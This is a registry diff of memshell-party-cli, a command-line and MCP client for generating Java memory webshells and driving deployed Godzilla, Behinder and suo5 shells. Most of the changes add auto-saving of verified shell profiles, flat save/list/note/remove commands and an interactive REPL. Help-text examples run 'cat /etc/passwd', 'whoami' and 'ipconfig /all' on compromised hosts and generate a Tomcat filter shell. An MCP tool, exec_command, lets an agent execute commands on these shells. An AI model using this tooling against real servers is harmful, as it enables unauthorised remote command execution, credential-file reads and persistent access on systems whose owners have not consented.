memshell-party-cli 0.3.1 → 0.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -1,7 +1,7 @@
1
1
  #!/usr/bin/env node
2
2
 
3
3
  // src/cli.ts
4
- import { Command as Command7 } from "commander";
4
+ import { Command as Command8, CommanderError as CommanderError2 } from "commander";
5
5
 
6
6
  // src/api/client.ts
7
7
  var ApiError = class extends Error {
@@ -156,6 +156,15 @@ function logInfo(msg) {
156
156
  process.stderr.write(`${msg}
157
157
  `);
158
158
  }
159
+ function reportError(message, argv) {
160
+ if (argv.includes("--json")) {
161
+ process.stdout.write(`${JSON.stringify({ ok: false, error: message })}
162
+ `);
163
+ } else {
164
+ process.stderr.write(`Error: ${message}
165
+ `);
166
+ }
167
+ }
159
168
 
160
169
  // src/commands/config.ts
161
170
  function printJsonOrLines(data, json, renderLines) {
@@ -168,7 +177,16 @@ function printJsonOrLines(data, json, renderLines) {
168
177
  }
169
178
  }
170
179
  function registerConfigCommand(program) {
171
- const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers");
180
+ const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers").addHelpText(
181
+ "after",
182
+ `
183
+ Examples:
184
+ $ memparty config servers # servers + their shell types (values for gen -s)
185
+ $ memparty config tools Tomcat # tools available on one server (values for gen -t)
186
+ $ memparty config packers # packer tree (values for gen -p)
187
+ $ memparty config command # Command-tool encryptors and impl classes
188
+ `
189
+ );
172
190
  config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
173
191
  const client = createClient(cmd.optsWithGlobals());
174
192
  const servers = await client.getServers();
@@ -1186,6 +1204,42 @@ function saveShellMeta(projectName, shellName, meta) {
1186
1204
  writeProjects(projects);
1187
1205
  return shell;
1188
1206
  }
1207
+ function sanitizeName(name) {
1208
+ const s = name.replace(/[^A-Za-z0-9._-]/g, "_");
1209
+ return /^[A-Za-z0-9]/.test(s) ? s : `x${s}`;
1210
+ }
1211
+ function autoSaveShell(conn) {
1212
+ let host = "target";
1213
+ let port = "";
1214
+ try {
1215
+ const u = new URL(conn.url);
1216
+ host = u.hostname || host;
1217
+ port = u.port;
1218
+ } catch {
1219
+ }
1220
+ const projectName = sanitizeName(host) || "target";
1221
+ const existing = getProject(projectName)?.shells ?? {};
1222
+ let shellName = Object.keys(existing).find(
1223
+ (n) => existing[n].url === conn.url && existing[n].tool === conn.tool
1224
+ );
1225
+ if (!shellName) {
1226
+ const base = sanitizeName(conn.tool) || "shell";
1227
+ shellName = base;
1228
+ if (existing[shellName]) shellName = port ? `${base}-${port}` : `${base}-2`;
1229
+ for (let i = 2; existing[shellName]; i++) shellName = `${base}-${i}`;
1230
+ }
1231
+ saveShell(projectName, shellName, {
1232
+ url: conn.url,
1233
+ tool: conn.tool,
1234
+ pass: conn.pass,
1235
+ key: conn.key,
1236
+ headerName: conn.headerName,
1237
+ headerValue: conn.headerValue,
1238
+ extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
1239
+ insecure: conn.insecure
1240
+ });
1241
+ return `${projectName}/${shellName}`;
1242
+ }
1189
1243
  function resolveConnection(ref, flags) {
1190
1244
  let stored;
1191
1245
  let targetName;
@@ -1195,7 +1249,7 @@ function resolveConnection(ref, flags) {
1195
1249
  let shellName = slash === -1 ? void 0 : ref.slice(slash + 1);
1196
1250
  const project = getProject(projectName);
1197
1251
  if (!project) {
1198
- throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty target list'`);
1252
+ throw new Error(`unknown project ${JSON.stringify(projectName)} \u2014 see 'memparty list'`);
1199
1253
  }
1200
1254
  if (!shellName) {
1201
1255
  const names = Object.keys(project.shells);
@@ -1254,7 +1308,7 @@ function parseExtraHeaders(lines) {
1254
1308
  function registerConnectCommand(program) {
1255
1309
  program.command("connect").description(
1256
1310
  "Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work"
1257
- ).argument("[name]", "saved target name (see 'memparty target list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1311
+ ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1258
1312
  new Option("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
1259
1313
  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
1260
1314
  "--header-name <name>",
@@ -1264,7 +1318,7 @@ function registerConnectCommand(program) {
1264
1318
  "gate header value reported by gen (shellToolConfig.headerValue)"
1265
1319
  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
1266
1320
  new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
1267
- ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
1321
+ ).option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
1268
1322
  "after",
1269
1323
  `
1270
1324
  Examples:
@@ -1273,14 +1327,15 @@ Examples:
1273
1327
  $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\
1274
1328
  --header-value YdwTyuQr
1275
1329
  $ memparty connect -u http://target/suo5.jsp -t suo5
1276
- $ memparty connect web222 # saved target, see 'memparty target'
1330
+ $ memparty connect web222 # saved target, see 'memparty list'
1277
1331
  $ memparty connect -u https://target/shell.jsp -t godzilla -k --json
1278
1332
 
1279
1333
  Note: shells generated by MemShellParty check a gate header \u2014 copy
1280
1334
  shellToolConfig.headerName/headerValue from the \`gen --json\` output
1281
1335
  (default header name is "User-Agent"), or the shell stays silent.
1282
- Save the whole profile with 'memparty target save <name> ...' and then
1283
- just pass the name.
1336
+ A successful test auto-saves the profile as <host>/<tool> (skip with
1337
+ --no-save); afterwards just pass the name. See 'memparty list',
1338
+ 'memparty note' and 'memparty remove' to manage saved targets.
1284
1339
  `
1285
1340
  ).action(async (name, opts, cmd) => {
1286
1341
  const globals = cmd.optsWithGlobals();
@@ -1298,8 +1353,7 @@ just pass the name.
1298
1353
  insecure: opts.insecure
1299
1354
  });
1300
1355
  } catch (err) {
1301
- process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}
1302
- `);
1356
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
1303
1357
  process.exitCode = 1;
1304
1358
  return;
1305
1359
  }
@@ -1327,6 +1381,11 @@ just pass the name.
1327
1381
  process.exitCode = 1;
1328
1382
  return;
1329
1383
  }
1384
+ let savedAs;
1385
+ if (result.ok && conn.targetName === void 0 && opts.save !== false) {
1386
+ savedAs = autoSaveShell(conn);
1387
+ conn.targetName = savedAs;
1388
+ }
1330
1389
  logOp({
1331
1390
  category: "connect",
1332
1391
  action: "connect",
@@ -1339,12 +1398,13 @@ just pass the name.
1339
1398
  error: result.error
1340
1399
  });
1341
1400
  if (opts.json) {
1342
- process.stdout.write(`${JSON.stringify(result, null, 2)}
1401
+ process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
1343
1402
  `);
1344
1403
  } else if (result.ok) {
1345
1404
  process.stdout.write(`OK ${result.tool} ${result.url}
1346
1405
  ${result.detail ?? ""}
1347
1406
  `);
1407
+ if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
1348
1408
  } else {
1349
1409
  process.stderr.write(`FAIL ${result.tool} ${result.url}
1350
1410
  ${result.error ?? ""}
@@ -1372,7 +1432,7 @@ function parseExtraHeaders2(lines) {
1372
1432
  function registerExecCommand(program) {
1373
1433
  program.command("exec").description(
1374
1434
  "Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
1375
- ).argument("[name]", "saved target name (see 'memparty target list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1435
+ ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1376
1436
  new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
1377
1437
  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
1378
1438
  new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
@@ -1382,7 +1442,7 @@ function registerExecCommand(program) {
1382
1442
  ).option(
1383
1443
  "--header-value <value>",
1384
1444
  "gate header value reported by gen (shellToolConfig.headerValue)"
1385
- ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").addHelpText(
1445
+ ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
1386
1446
  "after",
1387
1447
  `
1388
1448
  Examples:
@@ -1390,7 +1450,7 @@ Examples:
1390
1450
  --header-value qSGAJScj --cmd "whoami"
1391
1451
  $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
1392
1452
  --header-value YdwTyuQr --cmd "cat /etc/passwd"
1393
- $ memparty exec web222 --cmd "whoami" # saved target, see 'memparty target'
1453
+ $ memparty exec web222 --cmd "whoami" # saved target, see 'memparty list'
1394
1454
  $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
1395
1455
  --cmd "ipconfig /all" --json
1396
1456
 
@@ -1414,8 +1474,7 @@ the OS inside its payload, so --os does not apply.
1414
1474
  insecure: opts.insecure
1415
1475
  });
1416
1476
  } catch (err) {
1417
- process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}
1418
- `);
1477
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
1419
1478
  process.exitCode = 1;
1420
1479
  return;
1421
1480
  }
@@ -1450,6 +1509,11 @@ the OS inside its payload, so --os does not apply.
1450
1509
  process.exitCode = 1;
1451
1510
  return;
1452
1511
  }
1512
+ let savedAs;
1513
+ if (result.ok && conn.targetName === void 0 && opts.save !== false) {
1514
+ savedAs = autoSaveShell(conn);
1515
+ conn.targetName = savedAs;
1516
+ }
1453
1517
  const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
1454
1518
  logOp({
1455
1519
  category: "exec",
@@ -1465,11 +1529,12 @@ the OS inside its payload, so --os does not apply.
1465
1529
  error: result.error
1466
1530
  });
1467
1531
  if (opts.json) {
1468
- process.stdout.write(`${JSON.stringify(result, null, 2)}
1532
+ process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}
1469
1533
  `);
1470
1534
  } else if (result.ok) {
1471
1535
  process.stdout.write(result.output ?? "");
1472
1536
  if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
1537
+ if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);
1473
1538
  } else {
1474
1539
  process.stderr.write(`FAIL ${result.tool} ${result.url}
1475
1540
  ${result.error ?? ""}
@@ -1868,13 +1933,15 @@ for a single payload. The --json output includes the gate header
1868
1933
  // src/commands/log.ts
1869
1934
  import { Option as Option4 } from "commander";
1870
1935
  function registerLogCommand(program) {
1871
- program.command("log").description("Show the global operation log (every gen/probe/connect/exec/target op)").addOption(
1936
+ program.command("log").description("Show the global operation log").addOption(
1872
1937
  new Option4("--category <name>", "filter by operation category").choices([
1873
1938
  "gen",
1874
1939
  "probe",
1875
1940
  "connect",
1876
1941
  "exec",
1877
- "target"
1942
+ "save",
1943
+ "note",
1944
+ "remove"
1878
1945
  ])
1879
1946
  ).option(
1880
1947
  "--target <name>",
@@ -1885,6 +1952,7 @@ function registerLogCommand(program) {
1885
1952
  Examples:
1886
1953
  $ memparty log # latest 50 operations
1887
1954
  $ memparty log --category exec # only command executions
1955
+ $ memparty log --category save # only target saves
1888
1956
  $ memparty log --target hw222 # everything against project hw222
1889
1957
  $ memparty log --category exec --target 192.168.31.222 --json
1890
1958
  `
@@ -2186,7 +2254,7 @@ function createMcpServer(client) {
2186
2254
  "connect_test",
2187
2255
  {
2188
2256
  title: "Test shell connection",
2189
- description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells.",
2257
+ description: "Test whether a deployed Godzilla / Behinder / suo5 shell is alive and the credentials work, by performing the tool's real protocol handshake. Pass a saved target `name`, or url+tool with the gate header (headerName/headerValue) from generate_memshell output for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs` \u2014 reuse it as `name` in later calls.",
2190
2258
  inputSchema: connectInput
2191
2259
  },
2192
2260
  async (args) => {
@@ -2221,6 +2289,11 @@ function createMcpServer(client) {
2221
2289
  default:
2222
2290
  throw new Error(`unknown tool ${String(conn.tool)}`);
2223
2291
  }
2292
+ let savedAs;
2293
+ if (result.ok && conn.targetName === void 0) {
2294
+ savedAs = autoSaveShell(conn);
2295
+ conn.targetName = savedAs;
2296
+ }
2224
2297
  logOp({
2225
2298
  category: "connect",
2226
2299
  action: "connect",
@@ -2232,7 +2305,7 @@ function createMcpServer(client) {
2232
2305
  detail: result.detail,
2233
2306
  error: result.error
2234
2307
  });
2235
- return jsonContent(result);
2308
+ return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
2236
2309
  } catch (err) {
2237
2310
  return errorContent(err);
2238
2311
  }
@@ -2242,7 +2315,7 @@ function createMcpServer(client) {
2242
2315
  "exec_command",
2243
2316
  {
2244
2317
  title: "Execute command on shell",
2245
- description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells.",
2318
+ description: "Execute a command line on a deployed Godzilla / Behinder shell and return its stdout+stderr. Uses the tool's real protocol (Godzilla execCommand method / Behinder Cmd payload). Run connect_test first to verify credentials; pass a saved target `name`, or url+tool with the same gate header (headerName/headerValue) for MemShellParty shells. On success the profile is auto-saved and the canonical name returned as `savedAs`.",
2246
2319
  inputSchema: execInput
2247
2320
  },
2248
2321
  async (args) => {
@@ -2280,6 +2353,11 @@ function createMcpServer(client) {
2280
2353
  default:
2281
2354
  throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
2282
2355
  }
2356
+ let savedAs;
2357
+ if (result.ok && conn.targetName === void 0) {
2358
+ savedAs = autoSaveShell(conn);
2359
+ conn.targetName = savedAs;
2360
+ }
2283
2361
  const truncated = result.output !== void 0 ? truncateOutput(result.output) : null;
2284
2362
  logOp({
2285
2363
  category: "exec",
@@ -2294,7 +2372,7 @@ function createMcpServer(client) {
2294
2372
  outputTruncated: truncated?.truncated || void 0,
2295
2373
  error: result.error
2296
2374
  });
2297
- return jsonContent(result);
2375
+ return jsonContent(savedAs !== void 0 ? { ...result, savedAs } : result);
2298
2376
  } catch (err) {
2299
2377
  return errorContent(err);
2300
2378
  }
@@ -2326,7 +2404,7 @@ function createMcpServer(client) {
2326
2404
  remark: args.shellRemark
2327
2405
  });
2328
2406
  logOp({
2329
- category: "target",
2407
+ category: "save",
2330
2408
  action: "save",
2331
2409
  targetName: `${args.project}/${args.shell}`,
2332
2410
  url: args.url,
@@ -2365,7 +2443,7 @@ function createMcpServer(client) {
2365
2443
  }
2366
2444
  const updated2 = saveShellMeta(args.project, args.shell, { remark: args.remark });
2367
2445
  logOp({
2368
- category: "target",
2446
+ category: "note",
2369
2447
  action: "note",
2370
2448
  targetName: `${args.project}/${args.shell}`,
2371
2449
  ok: true,
@@ -2382,7 +2460,7 @@ function createMcpServer(client) {
2382
2460
  category: args.category
2383
2461
  });
2384
2462
  logOp({
2385
- category: "target",
2463
+ category: "note",
2386
2464
  action: "note",
2387
2465
  targetName: args.project,
2388
2466
  ok: true,
@@ -2432,7 +2510,7 @@ function createMcpServer(client) {
2432
2510
  const removed = args.shell ? removeShell(args.project, args.shell) : removeProject(args.project);
2433
2511
  if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? ""}`);
2434
2512
  logOp({
2435
- category: "target",
2513
+ category: "remove",
2436
2514
  action: "remove",
2437
2515
  targetName: args.shell ? `${args.project}/${args.shell}` : args.project,
2438
2516
  ok: true,
@@ -2448,9 +2526,9 @@ function createMcpServer(client) {
2448
2526
  "log_list",
2449
2527
  {
2450
2528
  title: "List operation log",
2451
- description: "Read the global operation log (every gen/probe/connect/exec/target op), newest first. Filter by category and/or target.",
2529
+ description: "Read the global operation log (every gen/probe/connect/exec/save/note/remove op), newest first. Filter by category and/or target.",
2452
2530
  inputSchema: {
2453
- category: z.enum(["gen", "probe", "connect", "exec", "target"]).optional().describe("operation category"),
2531
+ category: z.enum(["gen", "probe", "connect", "exec", "save", "note", "remove"]).optional().describe("operation category"),
2454
2532
  target: z.string().optional().describe("project name, project/shell, or a URL substring (e.g. host)"),
2455
2533
  limit: z.number().optional().describe("max entries (default 50)")
2456
2534
  }
@@ -2489,7 +2567,15 @@ function registerMcpCommand(program) {
2489
2567
  // src/commands/parse-classname.ts
2490
2568
  import { readFileSync as readFileSync6 } from "fs";
2491
2569
  function registerParseClassNameCommand(program) {
2492
- program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").action(async (base64, opts, cmd) => {
2570
+ program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
2571
+ "after",
2572
+ `
2573
+ Examples:
2574
+ $ memparty parse-classname -f shell.class
2575
+ $ memparty parse-classname "$(memparty gen -s Tomcat -t Command -y Filter \\
2576
+ -p DefaultBase64 --command-param-name cmd)"
2577
+ `
2578
+ ).action(async (base64, opts, cmd) => {
2493
2579
  let classBase64;
2494
2580
  if (opts.file) {
2495
2581
  classBase64 = readFileSync6(opts.file).toString("base64");
@@ -2715,11 +2801,37 @@ function parseRef(ref) {
2715
2801
  if (slash === -1) return { project: ref };
2716
2802
  return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };
2717
2803
  }
2718
- function registerTargetCommand(program) {
2719
- const target = program.command("target").description(
2720
- "Manage named shell targets: projects (remark + category) grouping several shells"
2804
+ function listTargets(opts) {
2805
+ const all = listProjects();
2806
+ const names = Object.keys(all).filter(
2807
+ (n) => opts.category === void 0 || all[n].category === opts.category
2721
2808
  );
2722
- target.command("save").description(
2809
+ if (opts.json) {
2810
+ const filtered = {};
2811
+ for (const n of names) filtered[n] = all[n];
2812
+ process.stdout.write(`${JSON.stringify(filtered, null, 2)}
2813
+ `);
2814
+ return;
2815
+ }
2816
+ if (names.length === 0) {
2817
+ process.stdout.write(`no saved projects (store: ${targetStorePath()})
2818
+ `);
2819
+ return;
2820
+ }
2821
+ for (const name of names) {
2822
+ const p = all[name];
2823
+ const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
2824
+ process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
2825
+ `);
2826
+ for (const [shellName, s] of Object.entries(p.shells)) {
2827
+ const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
2828
+ process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
2829
+ `);
2830
+ }
2831
+ }
2832
+ }
2833
+ function registerTargetCommand(program) {
2834
+ program.command("save").description(
2723
2835
  "Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
2724
2836
  ).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
2725
2837
  new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
@@ -2727,10 +2839,14 @@ function registerTargetCommand(program) {
2727
2839
  "after",
2728
2840
  `
2729
2841
  Examples:
2730
- $ memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
2842
+ $ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
2731
2843
  -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\
2732
2844
  --remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
2845
+ $ memparty list # show saved targets
2733
2846
  $ memparty exec hw222/bh9060 --cmd "whoami"
2847
+
2848
+ Note: connect/exec already auto-save a verified shell as <host>/<tool>;
2849
+ save is for choosing the name by hand.
2734
2850
  `
2735
2851
  ).action((ref, opts) => {
2736
2852
  const { project, shell } = parseRef(ref);
@@ -2763,7 +2879,7 @@ Examples:
2763
2879
  };
2764
2880
  const stored = saveShell(project, shell, input3);
2765
2881
  logOp({
2766
- category: "target",
2882
+ category: "save",
2767
2883
  action: "save",
2768
2884
  targetName: `${project}/${shell}`,
2769
2885
  url: stored.url,
@@ -2788,7 +2904,7 @@ Examples:
2788
2904
  );
2789
2905
  }
2790
2906
  });
2791
- target.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
2907
+ program.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
2792
2908
  const { project, shell } = parseRef(ref);
2793
2909
  if (shell) {
2794
2910
  if (opts.category !== void 0) {
@@ -2803,7 +2919,7 @@ Examples:
2803
2919
  }
2804
2920
  const updated2 = saveShellMeta(project, shell, { remark: opts.remark });
2805
2921
  logOp({
2806
- category: "target",
2922
+ category: "note",
2807
2923
  action: "note",
2808
2924
  targetName: `${project}/${shell}`,
2809
2925
  ok: true,
@@ -2830,7 +2946,7 @@ Examples:
2830
2946
  category: opts.category
2831
2947
  });
2832
2948
  logOp({
2833
- category: "target",
2949
+ category: "note",
2834
2950
  action: "note",
2835
2951
  targetName: project,
2836
2952
  ok: true,
@@ -2841,40 +2957,12 @@ Examples:
2841
2957
  `
2842
2958
  );
2843
2959
  });
2844
- target.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action((opts) => {
2845
- const all = listProjects();
2846
- const names = Object.keys(all).filter(
2847
- (n) => opts.category === void 0 || all[n].category === opts.category
2848
- );
2849
- if (opts.json) {
2850
- const filtered = {};
2851
- for (const n of names) filtered[n] = all[n];
2852
- process.stdout.write(`${JSON.stringify(filtered, null, 2)}
2853
- `);
2854
- return;
2855
- }
2856
- if (names.length === 0) {
2857
- process.stdout.write(`no saved projects (store: ${targetStorePath()})
2858
- `);
2859
- return;
2860
- }
2861
- for (const name of names) {
2862
- const p = all[name];
2863
- const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
2864
- process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
2865
- `);
2866
- for (const [shellName, s] of Object.entries(p.shells)) {
2867
- const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
2868
- process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
2869
- `);
2870
- }
2871
- }
2872
- });
2873
- target.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
2960
+ program.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action(listTargets);
2961
+ program.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
2874
2962
  const { project, shell } = parseRef(ref);
2875
2963
  const removed = shell ? removeShell(project, shell) : removeProject(project);
2876
2964
  logOp({
2877
- category: "target",
2965
+ category: "remove",
2878
2966
  action: "remove",
2879
2967
  targetName: ref,
2880
2968
  ok: removed,
@@ -2920,13 +3008,130 @@ function registerVersionCommand(program) {
2920
3008
  });
2921
3009
  }
2922
3010
 
3011
+ // src/repl.ts
3012
+ import * as readline from "readline";
3013
+ import { CommanderError } from "commander";
3014
+ function tokenize(line) {
3015
+ const tokens = [];
3016
+ let cur = "";
3017
+ let quote = null;
3018
+ let started = false;
3019
+ for (const ch of line) {
3020
+ if (quote !== null) {
3021
+ if (ch === quote) quote = null;
3022
+ else cur += ch;
3023
+ } else if (ch === '"' || ch === "'") {
3024
+ quote = ch;
3025
+ started = true;
3026
+ } else if (/\s/.test(ch)) {
3027
+ if (started || cur.length > 0) {
3028
+ tokens.push(cur);
3029
+ cur = "";
3030
+ started = false;
3031
+ }
3032
+ } else {
3033
+ cur += ch;
3034
+ }
3035
+ }
3036
+ if (started || cur.length > 0) tokens.push(cur);
3037
+ return tokens;
3038
+ }
3039
+ async function startRepl(build) {
3040
+ process.stdout.write(
3041
+ `memparty ${CLI_VERSION} \u2014 interactive mode. Type 'help' for commands, 'exit' to quit.
3042
+ `
3043
+ );
3044
+ const rl = readline.createInterface({
3045
+ input: process.stdin,
3046
+ output: process.stdout,
3047
+ terminal: process.stdin.isTTY === true,
3048
+ historySize: 200
3049
+ });
3050
+ const pending = [];
3051
+ let waiter = null;
3052
+ let closed = false;
3053
+ rl.on("line", (line) => {
3054
+ if (waiter) {
3055
+ const w = waiter;
3056
+ waiter = null;
3057
+ w(line);
3058
+ } else {
3059
+ pending.push(line);
3060
+ }
3061
+ });
3062
+ rl.on("close", () => {
3063
+ closed = true;
3064
+ waiter?.(null);
3065
+ });
3066
+ const isTty = process.stdin.isTTY === true;
3067
+ rl.setPrompt("memparty> ");
3068
+ const ask = () => {
3069
+ if (isTty) rl.prompt();
3070
+ const buffered = pending.shift();
3071
+ if (buffered !== void 0) return Promise.resolve(buffered);
3072
+ if (closed) return Promise.resolve(null);
3073
+ return new Promise((resolve) => {
3074
+ waiter = resolve;
3075
+ });
3076
+ };
3077
+ for (; ; ) {
3078
+ const line = await ask();
3079
+ if (line === null) break;
3080
+ const tokens = tokenize(line);
3081
+ if (tokens.length === 0) continue;
3082
+ const [cmd, ...rest] = tokens;
3083
+ if (cmd === "exit" || cmd === "quit") break;
3084
+ if (cmd === "clear") {
3085
+ process.stdout.write("\x1B[2J\x1B[0f");
3086
+ continue;
3087
+ }
3088
+ if (cmd === "help") {
3089
+ if (rest.length === 0) {
3090
+ build().outputHelp();
3091
+ continue;
3092
+ }
3093
+ tokens.push("--help");
3094
+ }
3095
+ rl.pause();
3096
+ try {
3097
+ await build().parseAsync(["node", "memparty", ...tokens]);
3098
+ } catch (err) {
3099
+ if (err instanceof CommanderError) {
3100
+ } else if (err instanceof ApiError) {
3101
+ reportError(`API error (${err.status || "network"}): ${err.message}`, tokens);
3102
+ } else if (err instanceof Error) {
3103
+ if (err.name === "ExitPromptError") process.stderr.write("\nAborted.\n");
3104
+ else reportError(err.message, tokens);
3105
+ } else {
3106
+ reportError(String(err), tokens);
3107
+ }
3108
+ }
3109
+ process.exitCode = 0;
3110
+ rl.resume();
3111
+ }
3112
+ rl.close();
3113
+ }
3114
+
2923
3115
  // src/cli.ts
2924
3116
  function buildProgram() {
2925
- const program = new Command7();
3117
+ const program = new Command8();
2926
3118
  program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
2927
3119
  "--api <url>",
2928
3120
  `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
2929
- ).option("--timeout <ms>", "request timeout in milliseconds", "30000");
3121
+ ).option("--timeout <ms>", "request timeout in milliseconds", "30000").exitOverride().addHelpText(
3122
+ "after",
3123
+ `
3124
+ Quick start:
3125
+ $ memparty gen # interactive memory-shell wizard
3126
+ $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
3127
+ $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value qSGAJScj
3128
+ $ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect
3129
+ $ memparty list # saved targets
3130
+ $ memparty log # recent operations
3131
+
3132
+ Every subcommand has its own examples: memparty <command> --help
3133
+ `
3134
+ );
2930
3135
  registerGenCommand(program);
2931
3136
  registerProbeCommand(program);
2932
3137
  registerConfigCommand(program);
@@ -2940,26 +3145,29 @@ function buildProgram() {
2940
3145
  return program;
2941
3146
  }
2942
3147
  async function main() {
3148
+ if (process.argv.length <= 2 && (process.stdin.isTTY || process.env.MEMPARTY_REPL)) {
3149
+ await startRepl(buildProgram);
3150
+ return;
3151
+ }
2943
3152
  const program = buildProgram();
2944
3153
  try {
2945
3154
  await program.parseAsync(process.argv);
2946
3155
  } catch (err) {
2947
- if (err instanceof ApiError) {
2948
- process.stderr.write(`API error (${err.status || "network"}): ${err.message}
2949
- `);
3156
+ if (err instanceof CommanderError2) {
3157
+ process.exitCode = err.exitCode;
3158
+ } else if (err instanceof ApiError) {
3159
+ reportError(`API error (${err.status || "network"}): ${err.message}`, process.argv);
2950
3160
  process.exitCode = 1;
2951
3161
  } else if (err instanceof Error) {
2952
3162
  if (err.name === "ExitPromptError") {
2953
3163
  process.stderr.write("\nAborted.\n");
2954
3164
  process.exitCode = 130;
2955
3165
  } else {
2956
- process.stderr.write(`Error: ${err.message}
2957
- `);
3166
+ reportError(err.message, process.argv);
2958
3167
  process.exitCode = 1;
2959
3168
  }
2960
3169
  } else {
2961
- process.stderr.write(`Error: ${String(err)}
2962
- `);
3170
